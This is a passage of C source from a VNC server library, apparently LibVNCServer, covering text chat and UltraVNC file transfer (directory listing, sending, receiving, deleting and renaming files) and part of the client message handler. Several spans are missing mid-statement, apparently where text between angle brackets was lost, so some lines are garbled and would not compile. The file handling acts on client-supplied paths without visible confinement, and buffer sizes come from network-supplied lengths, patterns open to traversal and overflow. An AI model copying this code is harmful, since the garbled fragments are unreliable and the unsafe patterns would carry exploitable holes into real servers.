(bytesToSend>rfbTextMaxSize) bytesToSend=rfbTextMaxSize; } if (cl->ublen + sz_rfbTextChatMsg + bytesToSend > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } memcpy(&cl->updateBuf[cl->ublen], (char *)&tc, sz_rfbTextChatMsg); cl->ublen += sz_rfbTextChatMsg; if (bytesToSend>0) { memcpy(&cl->updateBuf[cl->ublen], buffer, bytesToSend); cl->ublen += bytesToSend; } rfbStatRecordMessageSent(cl, rfbTextChat, sz_rfbTextChatMsg+bytesToSend, sz_rfbTextChatMsg+bytesToSend); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN(msg, cl, ret) \ if ((cl->screen->getFileTransferPermission != NULL \ && cl->screen->getFileTransferPermission(cl) != TRUE) \ || cl->screen->permitFileTransfer != TRUE) { \ rfbLog("%sUltra File Transfer is disabled, dropping client: %s\n", msg, cl->host); \ rfbCloseClient(cl); \ return ret; \ } int DB = 1; rfbBool rfbSendFileTransferMessage(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length, const char *buffer) { rfbFileTransferMsg ft; ft.type = rfbFileTransfer; ft.contentType = contentType; ft.contentParam = contentParam; ft.pad = 0; /* UltraVNC did not Swap16LE(ft.contentParam) (Looks like it might be BigEndian) */ ft.size = Swap32IfLE(size); ft.length = Swap32IfLE(length); FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* rfbLog("rfbSendFileTransferMessage( %dtype, %dparam, %dsize, %dlen, %p)\n", contentType, contentParam, size, length, buffer); */ LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&ft, sz_rfbFileTransferMsg) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } if (length>0) { if (rfbWriteExact(cl, buffer, length) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbFileTransfer, sz_rfbFileTransferMsg+length, sz_rfbFileTransferMsg+length); return TRUE; } /* * UltraVNC uses Windows Structures */ #define MAX_PATH 260 typedef struct { uint32_t dwLowDateTime; uint32_t dwHighDateTime; } RFB_FILETIME; typedef struct { uint32_t dwFileAttributes; RFB_FILETIME ftCreationTime; RFB_FILETIME ftLastAccessTime; RFB_FILETIME ftLastWriteTime; uint32_t nFileSizeHigh; uint32_t nFileSizeLow; uint32_t dwReserved0; uint32_t dwReserved1; uint8_t cFileName[ MAX_PATH ]; uint8_t cAlternateFileName[ 14 ]; } RFB_FIND_DATA; #define RFB_FILE_ATTRIBUTE_READONLY 0x1 #define RFB_FILE_ATTRIBUTE_HIDDEN 0x2 #define RFB_FILE_ATTRIBUTE_SYSTEM 0x4 #define RFB_FILE_ATTRIBUTE_DIRECTORY 0x10 #define RFB_FILE_ATTRIBUTE_ARCHIVE 0x20 #define RFB_FILE_ATTRIBUTE_NORMAL 0x80 #define RFB_FILE_ATTRIBUTE_TEMPORARY 0x100 #define RFB_FILE_ATTRIBUTE_COMPRESSED 0x800 rfbBool rfbFilenameTranslate2UNIX(rfbClientPtr cl, /* in */ char *path, /* out */ char *unixPath, size_t unixPathMaxLen) { int x; char *home=NULL; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* * Do not use strncpy() - truncating the file name would probably have undesirable side effects * Instead check if destination buffer is big enough */ if (strlen(path) >= unixPathMaxLen) return FALSE; /* C: */ if (path[0]=='C' && path[1]==':') strcpy(unixPath, &path[2]); else { home = getenv("HOME"); if (home!=NULL) { /* Re-check buffer size */ if ((strlen(path) + strlen(home) + 1) >= unixPathMaxLen) return FALSE; strcpy(unixPath, home); strcat(unixPath,"/"); strcat(unixPath, path); } else strcpy(unixPath, path); } for (x=0;x\"%s\"\n",buffer, path); #ifdef WIN32 // Create a search string, like C:\folder\* pathLen = strlen(path); basePath = malloc(pathLen + 3); memcpy(basePath, path, pathLen); basePathLength = pathLen; basePath[basePathLength] = '\\'; basePath[basePathLength + 1] = '*'; basePath[basePathLength + 2] = '\0'; // Start a search memset(&winFindData, 0, sizeof(winFindData)); findHandle = FindFirstFileA(path, &winFindData); free(basePath); if (findHandle == INVALID_HANDLE_VALUE) #else dirp=opendir(path); if (dirp==NULL) #endif return rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, 0, NULL); /* send back the path name (necessary for links) */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, length, buffer)==FALSE) return FALSE; #ifdef WIN32 while (findHandle != INVALID_HANDLE_VALUE) #else for (direntp=readdir(dirp); direntp!=NULL; direntp=readdir(dirp)) #endif { /* get stats */ #ifdef WIN32 snprintf(retfilename,sizeof(retfilename),"%s/%s", path, winFindData.cFileName); #else snprintf(retfilename,sizeof(retfilename),"%s/%s", path, direntp->d_name); #endif retval = stat(retfilename, &statbuf); if (retval==0) { memset((char *)&win32filename, 0, sizeof(win32filename)); #ifdef WIN32 win32filename.dwFileAttributes = winFindData.dwFileAttributes; win32filename.ftCreationTime.dwLowDateTime = winFindData.ftCreationTime.dwLowDateTime; win32filename.ftCreationTime.dwHighDateTime = winFindData.ftCreationTime.dwHighDateTime; win32filename.ftLastAccessTime.dwLowDateTime = winFindData.ftLastAccessTime.dwLowDateTime; win32filename.ftLastAccessTime.dwHighDateTime = winFindData.ftLastAccessTime.dwHighDateTime; win32filename.ftLastWriteTime.dwLowDateTime = winFindData.ftLastWriteTime.dwLowDateTime; win32filename.ftLastWriteTime.dwHighDateTime = winFindData.ftLastWriteTime.dwHighDateTime; win32filename.nFileSizeLow = winFindData.nFileSizeLow; win32filename.nFileSizeHigh = winFindData.nFileSizeHigh; win32filename.dwReserved0 = winFindData.dwReserved0; win32filename.dwReserved1 = winFindData.dwReserved1; strcpy((char *)win32filename.cFileName, winFindData.cFileName); strcpy((char *)win32filename.cAlternateFileName, winFindData.cAlternateFileName); #else win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_NORMAL); if (S_ISDIR(statbuf.st_mode)) win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_DIRECTORY); win32filename.ftCreationTime.dwLowDateTime = Swap32IfBE(statbuf.st_ctime); /* Intel Order */ win32filename.ftCreationTime.dwHighDateTime = 0; win32filename.ftLastAccessTime.dwLowDateTime = Swap32IfBE(statbuf.st_atime); /* Intel Order */ win32filename.ftLastAccessTime.dwHighDateTime = 0; win32filename.ftLastWriteTime.dwLowDateTime = Swap32IfBE(statbuf.st_mtime); /* Intel Order */ win32filename.ftLastWriteTime.dwHighDateTime = 0; win32filename.nFileSizeLow = Swap32IfBE(statbuf.st_size); /* Intel Order */ win32filename.nFileSizeHigh = 0; win32filename.dwReserved0 = 0; win32filename.dwReserved1 = 0; /* If this had the full path, we would need to translate to DOS format ("C:\") */ /* rfbFilenameTranslate2DOS(cl, retfilename, win32filename.cFileName); */ strcpy((char *)win32filename.cFileName, direntp->d_name); #endif /* Do not show hidden files (but show how to move up the tree) */ if ((strcmp((char *)win32filename.cFileName, "..")==0) || (win32filename.cFileName[0]!='.')) { nOptLen = sizeof(RFB_FIND_DATA) - MAX_PATH - 14 + strlen((char *)win32filename.cFileName); /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: Sending \"%s\"\n", (char *)win32filename.cFileName); */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, nOptLen, (char *)&win32filename)==FALSE) { #ifdef WIN32 FindClose(findHandle); #else closedir(dirp); #endif return FALSE; } } } #ifdef WIN32 if (FindNextFileA(findHandle, &winFindData) == 0) { FindClose(findHandle); findHandle = INVALID_HANDLE_VALUE; } #endif } #ifdef WIN32 if (findHandle != INVALID_HANDLE_VALUE) { FindClose(findHandle); } #else closedir(dirp); #endif /* End of the transfer */ return rfbSendFileTransferMessage(cl, rfbDirPacket, 0, 0, 0, NULL); } char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length) { char *buffer=NULL; int n=0; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, NULL); /* rfbLog("rfbProcessFileTransferReadBuffer(%dlen)\n", length); */ if (length>0) { buffer=malloc(length+1); if (buffer!=NULL) { if ((n = rfbReadExact(cl, (char *)buffer, length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransferReadBuffer: read"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return NULL; } /* Null Terminate */ buffer[length]=0; } } return buffer; } rfbBool rfbSendFileTransferChunk(rfbClientPtr cl) { /* Allocate buffer for compression */ unsigned char readBuf[sz_rfbBlockSize]; int bytesRead=0; int retval=0; fd_set wfds; struct timeval tv; int n; #ifdef LIBVNCSERVER_HAVE_LIBZ unsigned char compBuf[sz_rfbBlockSize + 1024]; unsigned long nMaxCompSize = sizeof(compBuf); int nRetC = 0; #endif /* * Don't close the client if we get into this one because * it is called from many places to service file transfers. * Note that permitFileTransfer is checked first. */ if (cl->screen->permitFileTransfer != TRUE || (cl->screen->getFileTransferPermission != NULL && cl->screen->getFileTransferPermission(cl) != TRUE)) { return TRUE; } /* If not sending, or no file open... Return as if we sent something! */ if ((cl->fileTransfer.fd!=-1) && (cl->fileTransfer.sending==1)) { FD_ZERO(&wfds); FD_SET(cl->sock, &wfds); /* return immediately */ tv.tv_sec = 0; tv.tv_usec = 0; n = select(cl->sock + 1, NULL, &wfds, NULL, &tv); if (n<0) { #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk() select failed: %s\n", strerror(errno)); } /* We have space on the transmit queue */ if (n > 0) { bytesRead = read(cl->fileTransfer.fd, readBuf, sz_rfbBlockSize); switch (bytesRead) { case 0: /* rfbLog("rfbSendFileTransferChunk(): End-Of-File Encountered\n"); */ retval = rfbSendFileTransferMessage(cl, rfbEndOfFile, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; case -1: /* TODO : send an error msg to the client... */ #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk(): %s\n",strerror(errno)); retval = rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; default: /* rfbLog("rfbSendFileTransferChunk(): Read %d bytes\n", bytesRead); */ if (!cl->fileTransfer.compressionEnabled) return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); else { #ifdef LIBVNCSERVER_HAVE_LIBZ nRetC = compress(compBuf, &nMaxCompSize, readBuf, bytesRead); /* rfbLog("Compressed the packet from %d -> %d bytes\n", nMaxCompSize, bytesRead); */ if ((nRetC==0) && (nMaxCompSizeD:\....Z:\ * * We replace the "\" char following the drive letter and ":" * with a char corresponding to the type of drive * We obtain something like "C:lD:c....Z:n\" * Isn't it ugly ? * DRIVE_FIXED = 'l' (local?) * DRIVE_REMOVABLE = 'f' (floppy?) * DRIVE_CDROM = 'c' * DRIVE_REMOTE = 'n' */ /* in unix, there are no 'drives' (We could list mount points though) * We fake the root as a "C:" for the Winblows users */ filename2[0]='C'; filename2[1]=':'; filename2[2]='l'; filename2[3]=0; filename2[4]=0; retval = rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADrivesList, 0, 5, filename2); if (buffer!=NULL) free(buffer); return retval; break; case rfbRDirContent: /* Client requests the content of a directory */ /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; retval = rfbSendDirContent(cl, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; case rfbDirPacket: rfbLog("rfbProcessFileTransfer() rfbDirPacket\n"); break; case rfbFileAcceptHeader: rfbLog("rfbProcessFileTransfer() rfbFileAcceptHeader\n"); break; case rfbCommandReturn: rfbLog("rfbProcessFileTransfer() rfbCommandReturn\n"); break; case rfbFileChecksums: /* Destination file already exists - the viewer sends the checksums */ rfbLog("rfbProcessFileTransfer() rfbFileChecksums\n"); break; case rfbFileTransferAccess: rfbLog("rfbProcessFileTransfer() rfbFileTransferAccess\n"); break; /* * sending from the server to the viewer */ case rfbFileTransferRequest: /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest:\n"); */ /* add some space to the end of the buffer as we will be adding a timespec to it */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* The client requests a File */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; cl->fileTransfer.fd=open(filename1, O_RDONLY, 0744); /* */ if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\") Open: %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), cl->fileTransfer.fd); if (cl->fileTransfer.fd!=-1) { if (fstat(cl->fileTransfer.fd, &statbuf)!=0) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; } else { /* Add the File Time Stamp to the filename */ strftime(timespec, sizeof(timespec), "%m/%d/%Y %H:%M",gmtime(&statbuf.st_ctime)); buffer=realloc(buffer, length + strlen(timespec) + 2); /* comma, and Null term */ if (buffer==NULL) { rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest: Failed to malloc %d bytes\n", length + strlen(timespec) + 2); return FALSE; } strcat(buffer,","); strcat(buffer, timespec); length = strlen(buffer); if (DB) rfbLog("rfbProcessFileTransfer() buffer is now: \"%s\"\n", buffer); } } /* The viewer supports compression if size==1 */ cl->fileTransfer.compressionEnabled = (size==1); /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\")%s\n", buffer, filename1, (size==1?" ":"")); */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : statbuf.st_size), length, buffer); if (cl->fileTransfer.fd==-1) { if (buffer!=NULL) free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = statbuf.st_size; cl->fileTransfer.numPackets = statbuf.st_size / sz_rfbBlockSize; cl->fileTransfer.receiving = 0; cl->fileTransfer.sending = 0; /* set when we receive a rfbFileHeader: */ /* TODO: finish 64-bit file size support */ sizeHtmp = 0; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sizeHtmp, 4) < 0) { rfbLogPerror("rfbProcessFileTransfer: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); if (buffer!=NULL) free(buffer); return FALSE; } UNLOCK(cl->sendMutex); break; case rfbFileHeader: /* Destination file (viewer side) is ready for reception (size > 0) or not (size = -1) */ if (size==-1) { rfbLog("rfbProcessFileTransfer() rfbFileHeader (error, aborting)\n"); close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; return TRUE; } /* rfbLog("rfbProcessFileTransfer() rfbFileHeader (%d bytes of a file)\n", size); */ /* Starts the transfer! */ cl->fileTransfer.sending=1; return rfbSendFileTransferChunk(cl); break; /* * sending from the viewer to the server */ case rfbFileTransferOffer: /* client is sending a file to us */ /* buffer contains full path name (plus FileTime) */ /* size contains size of the file */ /* rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* Parse the FileTime */ p = strrchr(buffer, ','); if (p!=NULL) { *p = '\0'; strncpy(szFileTime, p+1, sizeof(szFileTime)); szFileTime[sizeof(szFileTime)-1] = '\x00'; /* ensure NULL terminating byte is present, even if copy overflowed */ } else szFileTime[0]=0; /* Need to read in sizeHtmp */ if ((n = rfbReadExact(cl, (char *)&sizeHtmp, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransfer: read sizeHtmp"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return FALSE; } sizeHtmp = Swap32IfLE(sizeHtmp); if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; /* If the file exists... We can send a rfbFileChecksums back to the client before we send an rfbFileAcceptHeader */ /* TODO: Delta Transfer */ cl->fileTransfer.fd=open(filename1, O_CREAT|O_WRONLY|O_TRUNC, 0744); if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer(\"%s\"->\"%s\") %s %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), (cl->fileTransfer.fd==-1?strerror(errno):""), cl->fileTransfer.fd); /* */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileAcceptHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : 0), length, buffer); if (cl->fileTransfer.fd==-1) { free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = size; cl->fileTransfer.numPackets = size / sz_rfbBlockSize; cl->fileTransfer.receiving = 1; cl->fileTransfer.sending = 0; break; case rfbFilePacket: /* rfbLog("rfbProcessFileTransfer() rfbFilePacket:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; if (cl->fileTransfer.fd!=-1) { /* buffer contains the contents of the file */ if (size==0) retval=write(cl->fileTransfer.fd, buffer, length); else { #ifdef LIBVNCSERVER_HAVE_LIBZ /* compressed packet */ nRet = uncompress(compBuff,&nRawBytes,(const unsigned char*)buffer, length); if(nRet == Z_OK) retval=write(cl->fileTransfer.fd, (char*)compBuff, nRawBytes); else retval = -1; #else /* Write the file out as received... */ retval=write(cl->fileTransfer.fd, buffer, length); #endif } if (retval==-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } } break; case rfbEndOfFile: if (DB) rfbLog("rfbProcessFileTransfer() rfbEndOfFile\n"); /* */ if (cl->fileTransfer.fd!=-1) close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; break; case rfbAbortFileTransfer: if (DB) rfbLog("rfbProcessFileTransfer() rfbAbortFileTransfer\n"); /* */ if (cl->fileTransfer.fd!=-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } else { /* We use this message for FileTransfer rights (<=RC18 versions) * The client asks for FileTransfer permission */ if (contentParam == 0) { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED! (Client Version <=RC18)\n"); /* Old method for FileTransfer handshake perimssion (<=RC18) (Deny it)*/ return rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, -1, 0, ""); } /* New method is allowed */ if (cl->screen->getFileTransferPermission!=NULL) { if (cl->screen->getFileTransferPermission(cl)==TRUE) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* Deny */ } } else { if (cl->screen->permitFileTransfer) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED by default!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* DEFAULT: DENY (for security) */ } } } break; case rfbCommand: /* rfbLog("rfbProcessFileTransfer() rfbCommand:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; switch (contentParam) { case rfbCDirCreate: /* Client requests the creation of a directory */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; retval = mkdir(filename1, 0755); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCDirCreate(\"%s\"->\"%s\") %s\n", buffer, filename1, (retval==-1?"Failed":"Success")); /* */ retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbADirCreate, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileDelete: /* Client requests the deletion of a file */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (stat(filename1,&statbuf)==0) { if (S_ISDIR(statbuf.st_mode)) retval = rmdir(filename1); else retval = unlink(filename1); } else retval=-1; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileDelete, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileRename: /* Client requests the Renaming of a file/directory */ p = strrchr(buffer, '*'); if (p != NULL) { /* Split into 2 filenames ('*' is a seperator) */ *p = '\0'; if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (!rfbFilenameTranslate2UNIX(cl, p+1, filename2, sizeof(filename2))) goto fail; retval = rename(filename1,filename2); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCFileRename(\"%s\"->\"%s\" -->> \"%s\"->\"%s\") %s\n", buffer, filename1, p+1, filename2, (retval==-1?"Failed":"Success")); /* */ /* Restore the buffer so the reply is good */ *p = '*'; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileRename, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; } break; } /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return TRUE; fail: if (buffer!=NULL) free(buffer); return FALSE; } /* * rfbProcessClientNormalMessage is called when the client has sent a normal * protocol message. */ static void rfbProcessClientNormalMessage(rfbClientPtr cl) { int n=0; rfbClientToServerMsg msg; char *str; int i; uint32_t enc=0; uint32_t lastPreferredEncoding = -1; char encBuf[64]; char encBuf2[64]; #ifdef LIBVNCSERVER_WITH_WEBSOCKETS if (cl->wsctx && webSocketCheckDisconnect(cl)) return; #endif if ((n = rfbReadExact(cl, (char *)&msg, 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } switch (msg.type) { case rfbSetPixelFormat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetPixelFormatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } cl->format.bitsPerPixel = msg.spf.format.bitsPerPixel; cl->format.depth = msg.spf.format.depth; cl->format.bigEndian = (msg.spf.format.bigEndian ? TRUE : FALSE); cl->format.trueColour = (msg.spf.format.trueColour ? TRUE : FALSE); cl->format.redMax = Swap16IfLE(msg.spf.format.redMax); cl->format.greenMax = Swap16IfLE(msg.spf.format.greenMax); cl->format.blueMax = Swap16IfLE(msg.spf.format.blueMax); cl->format.redShift = msg.spf.format.redShift; cl->format.greenShift = msg.spf.format.greenShift; cl->format.blueShift = msg.spf.format.blueShift; cl->readyForSetColourMapEntries = TRUE; cl->screen->setTranslateFunction(cl); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); return; case rfbFixColourMapEntries: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFixColourMapEntriesMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); rfbLog("rfbProcessClientNormalMessage: %s", "FixColourMapEntries unsupported\n"); rfbCloseClient(cl); return; /* NOTE: Some clients send us a set of encodings (ie: PointerPos) designed to enable/disable features... * We may want to look into this... * Example: * case rfbEncodingXCursor: * cl->enableCursorShapeUpdates = TRUE; * * Currently: cl->enableCursorShapeUpdates can *never* be turned off... */ case rfbSetEncodings: { if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetEncodingsMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.se.nEncodings = Swap16IfLE(msg.se.nEncodings); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4),sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4)); /* * UltraVNC Client has the ability to adapt to changing network environments * So, let's give it a change to tell us what it wants now! */ if (cl->preferredEncoding!=-1) lastPreferredEncoding = cl->preferredEncoding; /* Reset all flags to defaults (allows us to switch between PointerPos and Server Drawn Cursors) */ cl->preferredEncoding=-1; cl->useCopyRect = FALSE; cl->useNewFBSize = FALSE; cl->cursorWasChanged = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableCursorPosUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; cl->turboQualityLevel = -1; #endif #endif for (i = 0; i < msg.se.nEncodings; i++) { if ((n = rfbReadExact(cl, (char *)&enc, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } enc = Swap32IfLE(enc); switch (enc) { case rfbEncodingCopyRect: cl->useCopyRect = TRUE; break; case rfbEncodingRaw: case rfbEncodingRRE: case rfbEncodingCoRRE: case rfbEncodingHextile: case rfbEncodingUltra: #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: case rfbEncodingZRLE: case rfbEncodingZYWRLE: #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: #endif /* The first supported encoding is the 'preferred' encoding */ if (cl->preferredEncoding == -1) cl->preferredEncoding = enc; break; case rfbEncodingXCursor: if(!cl->screen->dontConvertRichCursorToXCursor) { rfbLog("Enabling X-style cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->cursorWasChanged = TRUE; } break; case rfbEncodingRichCursor: rfbLog("Enabling full-color cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->useRichCursorEncoding = TRUE; cl->cursorWasChanged = TRUE; break; case rfbEncodingPointerPos: if (!cl->enableCursorPosUpdates) { rfbLog("Enabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = TRUE; cl->cursorWasMoved = TRUE; } break; case rfbEncodingLastRect: if (!cl->enableLastRectEncoding) { rfbLog("Enabling LastRect protocol extension for client " "%s\n", cl->host); cl->enableLastRectEncoding = TRUE; } break; case rfbEncodingNewFBSize: if (!cl->useNewFBSize) { rfbLog("Enabling NewFBSize protocol extension for client " "%s\n", cl->host); cl->useNewFBSize = TRUE; } break; case rfbEncodingKeyboardLedState: if (!cl->enableKeyboardLedState) { rfbLog("Enabling KeyboardLedState protocol extension for client " "%s\n", cl->host); cl->enableKeyboardLedState = TRUE; } break; case rfbEncodingSupportedMessages: if (!cl->enableSupportedMessages) { rfbLog("Enabling SupportedMessages protocol extension for client " "%s\n", cl->host); cl->enableSupportedMessages = TRUE; } break; case rfbEncodingSupportedEncodings: if (!cl->enableSupportedEncodings) { rfbLog("Enabling SupportedEncodings protocol extension for client " "%s\n", cl->host); cl->enableSupportedEncodings = TRUE; } break; case rfbEncodingServerIdentity: if (!cl->enableServerIdentity) { rfbLog("Enabling ServerIdentity protocol extension for client " "%s\n", cl->host); cl->enableServerIdentity = TRUE; } break; case rfbEncodingXvp: if (cl->screen->xvpHook) { rfbLog("Enabling Xvp protocol extension for client " "%s\n", cl->host); if (!rfbSendXvp(cl, 1, rfbXvp_Init)) { rfbCloseClient(cl); return; } } break; default: #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) if ( enc >= (uint32_t)rfbEncodingCompressLevel0 && enc <= (uint32_t)rfbEncodingCompressLevel9 ) { cl->zlibCompressLevel = enc & 0x0F; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = enc & 0x0F; rfbLog("Using compression level %d for client %s\n", cl->tightCompressLevel, cl->host); #endif } else if ( enc >= (uint32_t)rfbEncodingQualityLevel0 && enc <= (uint32_t)rfbEncodingQualityLevel9 ) { cl->tightQualityLevel = enc & 0x0F; rfbLog("Using image quality level %d for client %s\n", cl->tightQualityLevel, cl->host); #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->turboQualityLevel = tight2turbo_qual[enc & 0x0F]; cl->turboSubsampLevel = tight2turbo_subsamp[enc & 